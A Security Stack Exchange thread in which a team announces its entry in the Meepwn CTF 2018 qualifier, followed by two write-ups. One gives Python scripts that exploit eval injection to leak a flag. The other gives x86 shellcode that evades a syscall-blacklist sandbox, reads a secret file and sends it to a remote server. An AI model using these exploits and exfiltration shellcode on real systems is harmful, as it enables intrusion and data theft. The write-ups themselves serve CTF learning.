Let's participate in the Meepwn CTF Qualifier 2018!

The CTF runs Fr, 13 July 2018, 19:00 UTC — Sun, 15 July 2018, 19:00 UTC.

You can find additional details on the CTFtime event page. Links to previous years' challenges can be found via CTFtime.

General info:

  • We compete as team sec.se.
  • We communicate over Slack. To get an invitation to the group you can contact any member of the team. (We will need to know an email address to send the invitation to and a reference to your Security.SE profile.)
  • For questions, join us in The DMZ.

Good luck everyone!

2 Answers 2


pycalx, pycalx2

We can submit code to evaluate a Python expression, but this expression has to be framed in terms of two values with a binary operator in the middle. More precisely:

  • The values value1 and value2 are interpreted as strings, except if they consist exclusively of digits, in which case they're interpreted as integers. Each value must consist of 1 to 64 characters.
  • If one of value1 or value2 is interpreted as an integer, then the other one must be as well.
  • The operator op must consist of 1 or 2 characters, the first of which is one of +-/*=!.
  • The following characters are blacklisted in values: ()[]'". In pycalx2, these characters are also blacklisted in op; this is the only difference between pycalx and pycalx2.
  • The expression is evaluated and printed as follows:

    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
    result = str(eval(calc_eval))
    if result.isdigit() or result == 'True' or result == 'False':
  • In other cases, in particular if the result is a string or if the evaluation raises an exception, the program outputs Invalid.

We can see the source code by adding the parameter source=1 to the URL. The flag is in a variable called FLAG.

Notice that we can access local and global variables, since eval is done in the context of the Python program. The difficulty is that if we don't cheat, value1 and value2 are literals: we only get to inject their representation as string or integer literals into the expression. There's obviously more freedom with op, but we only really have a single character to play with.

For example, given the inputs value1=hello&op===&value2=world, the server evaluates


and prints False.

I didn't find a way to construct an integer except by performing operations on integer constants. Therefore I focused on exfiltrating a boolean. Basically, I exfiltrated the value of FLAG <= s for successive values of s, doing a binary search to build s character by character.


The most obvious way to cheat is a quote injection. Make op a one-character operator followed by '. Then the initial quote from str(repr(value2)) closes an empty string literal, and the rest of value2 is interpreted as code. There's a trailing single quote at the end, which can be nullified by ending value2 with a #.

We'd like to get to evaluate something like 'foo'<''+FLAG#' with 'foo' from value1, <' from op and '+FLAG#' from value2. This isn't possible because < is not accepted as the first character of op. But we can use + on the other side, and ignore that and construct a boolean on the right-hand side:

'value1'+''and value1<FLAG#'

There's a difficulty with this: the flag turned out to contain some characters that are forbidden in value1. To combat this, I used string formatting to inject special characters with the % operator and the %c specifier. With no tuples, this approach is limited to a single special character at a time. I found a simpler approach for pycalx2, which is to use the source parameter — it's available in the local variable source, and it doesn't get filtered! I didn't realize this until I'd solved pycalx, so here's my script for pycalx.

import re, sys
import urllib, urllib2

base_url = ''
op = '+\''
value1_normal_template = '%%.%ds%s'
value2_normal = 'and value1%FLAG<=FLAG#'
value1_special_template = '%%%%.%ds%%c'
value2_special_template = 'and value1%%%d%%FLAG<=FLAG#'

def get(value1, value2):
    d = {'value1': value1, 'op': op, 'value2': value2}
    url = base_url + '?' + urllib.urlencode(d)
    print url
    content = urllib2.urlopen(url).read()
    m = re.search(r'\n>>>> .*\n(True|False)', content)
    if m:
        return eval(m.group(1))
        sys.stderr.write('url' + '\n' + content)

special_characters = '\'"()[]'
def search(offset, a, b):
    while a < b:
        m = (a + b) / 2 + 1
        c = chr(m)
        if c in special_characters:
            value1 = value1_special_template % offset
            value2 = value2_special_template % m
            if c == '%': c = '%%'
            value1 = value1_normal_template % (offset, c)
            value2 = value2_normal
        if get(value1, value2):
            a = m
            b = m - 1
    return chr(a)

def advance(prefix):
    return search(len(prefix), 32, 126)

known = sys.argv[1]
while not known.endswith('}'):
    c = advance(known)
    print c
    known += c
print known


This time the +' trick doesn't work since op isn't allowed to contain '. So how else could we somehow nullify the leading quote of value2, which is the only place where we can act?

I first thought of some Unicode escape, mixing a Unicode string with a byte string b'…', but in Python this tends to raise an exception rather than doing funky stuff. Another possibility is to use formatted string literals f'…', which can embed expressions. This is a new feature of Python 3.6, but fortunately the server does run Python ≥3.6 and there was even a hint in the flag for pycalx. So the basic idea is

'value1'+f'{code goes here}'

Recall that the code may not use any of the forbidden characters. But before we get there, how are we going to get the result? We don't get to see string results! We do get to see booleans though, and the code to display the result uses str, not repr, so it doesn't differentiate the string 'True' from the boolean True. If we could leave value empty, we could do ''+f'{boolean expression}', but that's not allowed. A trick to get a boolean is to arrange to build one of the boolean constants in two pieces, e.g. 'Tru' from value1 and either 'e' or something else from value2. If value2 is 'e' then the server prints the boolean result True, otherwise it prints Invalid. A nice thing of e is that it's a hexadecimal output:

'Tru'+f'{14 if boolean expression else 0:x}'

The remaining difficulty is to inject something to compare with FLAG. This turned out to be very easy, and in fact would have simplified my solution to pycalx: we can pass whatever we want in the source parameter.

import re, sys
import urllib, urllib2

base_url = ''
op = '+f'
value1 = 'Tru'
value2 = '{14 if source<FLAG else 0:x}'

def get(string):
    d = {'value1': value1, 'op': op, 'value2': value2, 'source': string}
    url = base_url + '?' + urllib.urlencode(d)
    print url
    content = urllib2.urlopen(url).read()
    m = re.search(r'\n>>>> .*\n(True|Invalid)', content)
    if m:
        return m.group(1) == 'True'
        sys.stderr.write('url' + '\n' + content)

special_characters = '\'"()[]'
def search(prefix, a, b):
    while a < b:
        m = (a + b) / 2 + 1
        if get(prefix + chr(m)):
            a = m
            b = m - 1
    return chr(a)

def advance(prefix):
    return search(prefix, 32, 126)

known = sys.argv[1]
while not known.endswith('}'):
    c = advance(known)
    print c
    known += c
print known

Meepwn 2018 CTF - babysandbox pwn challenge

I couldn't get the flag during the competition but I think I was close enough to write this writeup.

0x01 Reconnaissance

The challenge consisted of a Flask based webapplication. The application had the following endpoints:

  • /source: for downloading the python app.py source code.
  • /bin: for downloading an ELF binary.
  • /exploit: to deliver a payload via a POST request in order to exploit the service.
  • /: a simple interface to interact with all above endpoints.

The exploit endpoint is obviously of interest:

@app.route('/exploit', methods=['POST'])
def exploit():
        data = request.get_json(force=True)
    except Exception:
        return jsonify({'result': 'Wrong data!'})
        payload = b64decode(data['payload'].encode())
        return jsonify({'result': 'Wrong data!'})
    test_i386(UC_MODE_32, payload)
    if session['ISBADSYSCALL']:
        return jsonify({'result': 'Bad Syscall!'})
        run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
    except CalledProcessError:
        return jsonify({'result': 'Error run file!'})
    return jsonify({'result': "DONE!"})

This endpoint accepts a base64 encoded payload, performs a certain test on the payload with test_i386(UC_MODE_32, payload), and if all goes well, passes it to a service listening on localhost:9999.

The test consists of a sandbox written with the Unicorn engine. An engine that emulates CPU instructions. The sandbox hooks into all interrupts, if 0x80 is encountered, then it will check the EAX register for blacklisted syscalls. If that's the case, the ISBADSYSCALL session variable is set to True which means that the payload won't be sent to the vulnerable process listening on localhost.

app.secret_key = open('private/secret.txt').read()

ADDRESS = 0x1000000
sys_fork = 2
sys_read = 3
sys_write = 4
sys_open = 5
sys_close = 6
sys_execve = 11
sys_access = 33
sys_dup = 41
sys_dup2 = 63
sys_mmap = 90
sys_munmap = 91
sys_mprotect = 125
sys_sendfile = 187
sys_sendfile64 = 239
BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]

# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
    if intno != 0x80:
    eax = uc.reg_read(UC_X86_REG_EAX)
    if eax in BADSYSCALL:
        session['ISBADSYSCALL'] = True

def test_i386(mode, code):
        # Initialize emulator
        mu = Uc(UC_ARCH_X86, mode)

        # map 2MB memory for this emulation
        mu.mem_map(ADDRESS, 2 * 1024 * 1024)

        # write machine code to be emulated to memory
        mu.mem_write(ADDRESS, code)

        # initialize stack
        mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)

        # handle interrupt ourself
        mu.hook_add(UC_HOOK_INTR, hook_intr)

        # emulate machine code in infinite time
        mu.emu_start(ADDRESS, ADDRESS + len(code))
    except UcError as e:
        print("ERROR: %s" % e)

At the top of the Flask application, an interesting line app.secret_key = open('private/secret.txt').read() hints that we should read a secret.txt file in order to get the flag. Opening the binary ELF file with radare2, we get an idea what the binary does:

➜  baby_sandbox_rev ✗ r2 -A ./bin    # open the ELF binary with radare2 and analyze it
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- The more 'a' you add after 'aa' the more analysis steps are executed.
[0x000005d0]> s main       # seek to main
[0x00000740]> pdf          # print disassembled function
│           ;-- main:
┌ (fcn) sym.main 157
│   sym.main (int arg_4h);
│           ; var int local_ch @ ebp-0xc
│           ; var int local_4h @ ebp-0x4
│           ; arg int arg_4h @ esp+0x4
│           ; XREFS: CALL 0x00000763  CALL 0x0000077b  CALL 0x00000790  CALL 0x000007a1  CALL 0x000007b2  CALL 0x000007c3
│           0x00000740      8d4c2404       lea ecx, [arg_4h]
│           0x00000744      83e4f0         and esp, 0xfffffff0
│           0x00000747      ff71fc         push dword [ecx - 4]
│           0x0000074a      55             push ebp
│           0x0000074b      89e5           mov ebp, esp
│           0x0000074d      51             push ecx
│           0x0000074e      83ec14         sub esp, 0x14
│           0x00000751      83ec08         sub esp, 8
│           0x00000754      6a00           push 0
│           0x00000756      6aff           push 0xffffffffffffffff
│           0x00000758      6a22           push 0x22                   ; '"'
│           0x0000075a      6a07           push 7
│           0x0000075c      6800010000     push 0x100                  ; "`\b"
│           0x00000761      6a00           push 0
│           0x00000763      e8fcffffff     call 0x764                  ; RELOC 32 mmap
│           0x00000768      83c420         add esp, 0x20
│           0x0000076b      8945f4         mov dword [local_ch], eax
│           0x0000076e      83ec04         sub esp, 4
│           0x00000771      6800010000     push 0x100                  ; "`\b"
│           0x00000776      ff75f4         push dword [local_ch]
│           0x00000779      6a00           push 0
│           0x0000077b      e8fcffffff     call 0x77c                  ; RELOC 32 read
│           0x00000780      83c410         add esp, 0x10
│           0x00000783      83ec04         sub esp, 4
│           0x00000786      6a05           push 5
│           0x00000788      6800010000     push 0x100                  ; "`\b"
│           0x0000078d      ff75f4         push dword [local_ch]
│           0x00000790      e8fcffffff     call 0x791                  ; RELOC 32 mprotect
│           0x00000795      83c410         add esp, 0x10
│           0x00000798      a100000000     mov eax, dword [0]          ; RELOC 32
│           0x0000079d      83ec0c         sub esp, 0xc
│           0x000007a0      50             push eax
│           0x000007a1      e8fcffffff     call 0x7a2                  ; RELOC 32 close
│           0x000007a6      83c410         add esp, 0x10
│           0x000007a9      a100000000     mov eax, dword [0]          ; RELOC 32
│           0x000007ae      83ec0c         sub esp, 0xc
│           0x000007b1      50             push eax
│           0x000007b2      e8fcffffff     call 0x7b3                  ; RELOC 32 close
│           0x000007b7      83c410         add esp, 0x10
│           0x000007ba      a100000000     mov eax, dword [0]          ; RELOC 32
│           0x000007bf      83ec0c         sub esp, 0xc
│           0x000007c2      50             push eax
│           0x000007c3      e8fcffffff     call 0x7c4                  ; RELOC 32 close
│           0x000007c8      83c410         add esp, 0x10
│           0x000007cb      8b45f4         mov eax, dword [local_ch]
│           0x000007ce      ffd0           call eax
│           0x000007d0      b800000000     mov eax, 0
│           0x000007d5      8b4dfc         mov ecx, dword [local_4h]
│           0x000007d8      c9             leave
│           0x000007d9      8d61fc         lea esp, [ecx - 4]
└           0x000007dc      c3             ret

In short, it mmaps a region in memory with (PROT_READ | PROT_WRITE | PROT_EXEC) attributes, payload is read from stdin, mprotect is called to remove the PROT_WRITE attribute and finally the payload gets executed using call eax.

0x02 The attack plan

My basic and naïve approach is as follows:

  1. Send a base64 encoded shellcode over HTTP.
  2. The shellcode should read a file in order to extract the flag.
  3. Since the payload is passed to the process without returning its response over HTTP, we need to communicate back the results via another medium. I chose sockets over TCP to send this data back to my server.
  4. The shellcode should not use any of the blacklisted syscalls in order to bypass the Unicorn sandbox.
  5. Avoid null bytes in the resulting shellcode as it might be interpreted as end of string during the attack.
  6. Setup a remote server that listens on a port to receive the response from the shellcode.

0x03 The attack

To read the content of a file, we need two syscalls: open and read. These two syscalls are not allowed. I found this handy syscall list and scrolled through it. The following two syscalls were of interest openat and readv although they need to be used in a certain way. This took some time to figure out and especially debug. This in combination with socket functions made the assembly code relatively lengthy and challenging for this newbie who's used to write only helloworld assembly programs. Luckily there was enough space for the shellcode so I didn't have to optimize the length of the shellcode too much.


section .text
global _start

    xor eax, eax
    push eax
    push eax
    push 0x7478742e
    push 0x74657263
    push 0x65732f65
    push 0x74617669
    push 0x72702f78
    push 0x6f62646e
    push 0x61737962
    push 0x61622f65
    push 0x6d6f682f ; "/home/babysandbox/private/secret.txt0x00"

    ;int openat(int dirfd, const char *pathname, int flags) syscall 0x127
    mov ax, 0x127
    mov bx, -100   ; AT_FDCWD
    mov ecx, esp   ; from pushes
    xor edx, edx   ; O_RDONLY (0)
    int 0x80

    ; ssize_t readv(int fd, const struct iovec *iov, int iovcnt) syscall 0x91
    mov ebx, eax  ; FD in EBX
    sub esp, 0x78 ; reserve 120 bytes for 
    mov ecx, esp  ;
    mov edi, ecx  ; Save buffer address for later usage
    push 0x78     ; iov_len
    push ecx      ; point to this buffer (*iov_base)
    mov ecx, esp
    push ecx      ; point to iovec struct
    xor eax, eax  
    mov al, 0x91
    inc edx       ; iovcnt = 1
    int 0x80
    mov edx, eax  ; Save the length of the string in edx

    ; int socketcall(int call, unsigned long *args) syscall 0x66
    ; sockfd = socket(socket_family = 2 (PF_INET), socket_type = 1 (SOCK_STREAM), protocol = 0)
    xor eax, eax
    mov al, 0x66 ; sys_socketcall
    xor ebx, ebx
    push ebx      ; push 0 (protocol)
    inc ebx       ; 
    push ebx      ; socket_type = 1 (SOCK_STREAM)
    inc ebx
    push ebx      ; socket_family = 2 (PF_INET)
    dec ebx       ; SYS_SOCKET ebx = 1 
    mov ecx, esp  ; ecx contains reference to socket arguments we just pushed
    int 0x80
    mov esi, eax  ; Save sockfd

    ; int socketcall(int call, unsigned long *args) syscall 0x66
    ; connect(sockfd, &sockaddr, addrlen)    
    xor eax, eax
    mov al, 0x66 ; sys_socketcall
    push DWORD 0x0101017f ; to avoid null bytes, replace this with remote server
    push WORD 0x9cad  ; port 44444
    inc ebx      ; AF_INET = 2
    push bx      ; push AF_INET
    mov ecx, esp ; sockaddr pointer
    push BYTE 16 ; sizeof(sockaddr) = 16
    push ecx     ; pointer to sockaddr
    push esi     ; pointer to sockfd
    mov ecx, esp ; socket arguments to socketcall
    inc ebx      ; SYS_CONNECT, ebx = 3
    int 0x80

    ; int socketcall(int call, unsigned long *args) syscall 0x66
    ; ssize_t send(int sockfd, const void *buf, size_t len, int flags);
    xor eax, eax
    push eax     ; flags = 0
    mov al, 0x66 ; sys_socketcall
    push edx     ; buf_len (previously saved in edx)
    push edi     ; buf
    push esi     ; sockfd
    mov ecx, esp ; socket arguments to socketcall
    mov bl, 0x9  ; SOCKET_SEND
    int 0x80

    ;int exit(0)
    mov al, 1
    xor ebx, ebx
    int 0x80

The secret file was however not in /home/babysandbox/private/secret.txt. I guessed this path since the binary was residing in /home/babysandbox/babysandbox. This basically meant I had to write some shellcode to traverse directories a la ls. This was not as straightforward as it required some fiddling with the getdents syscall. This is also where I failed to write proper assembly code as the output was quite giberish as can be seen in the following screenshot:

missed flag

During the competition, I've missed the flag file residing at /flag. I could however find the secret.txt file which unfortunately didn't contain the flag. The secret file was related to the Flask app itself which was used for crypto purposes. After the competition has ended, I've improved the two assembly programs which can be found at readdir and readfile in order to list a directory and extract the flag properly. The resulting shellcode is null-free:


0x04 Conclusion

Although I couldn't extract the flag during the competition, I think the challenge offered some great learning experience. For one, writing the assembly code, diving into linux manuals and debugging the program was worth it. This however kind of made me "stubborn" so to say to suggestions. Gilles pointed out the possibility of using sysenter since the sandbox only checked for int 0x80. He even provided a link with a fully working example. I didn't look into this solution as I already spent too much time on my own approach and felt that I was close enough. It turns out that I still had to write the directory listing program from scratch.

Another approach was to use execveat. I didn't opt for this solution because I was afraid that the remote server wouldn't support it. According to the documentation:


execveat() was added to Linux in kernel 3.19. GNU C library support is pending.


The execveat() system call is Linux-specific.

To make things worse, even my own Vagrant pwnbox setup didn't support it. I quickly dropped this idea.

After the CTF ended, it is always nice to read other writeups and see how other people solved the challenge. This particular writeup shows how the stack setup is different in the sandbox environment (Unicorn emulator) compared to when its executed outside of it. A simple if statement would allow us to detect whether we're inside a sandbox and exit if that's the case. This means that all the conventional syscalls can be used outside of the sandbox. Another approach was to switch to x64 mode and use syscall instead.

Now you know.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .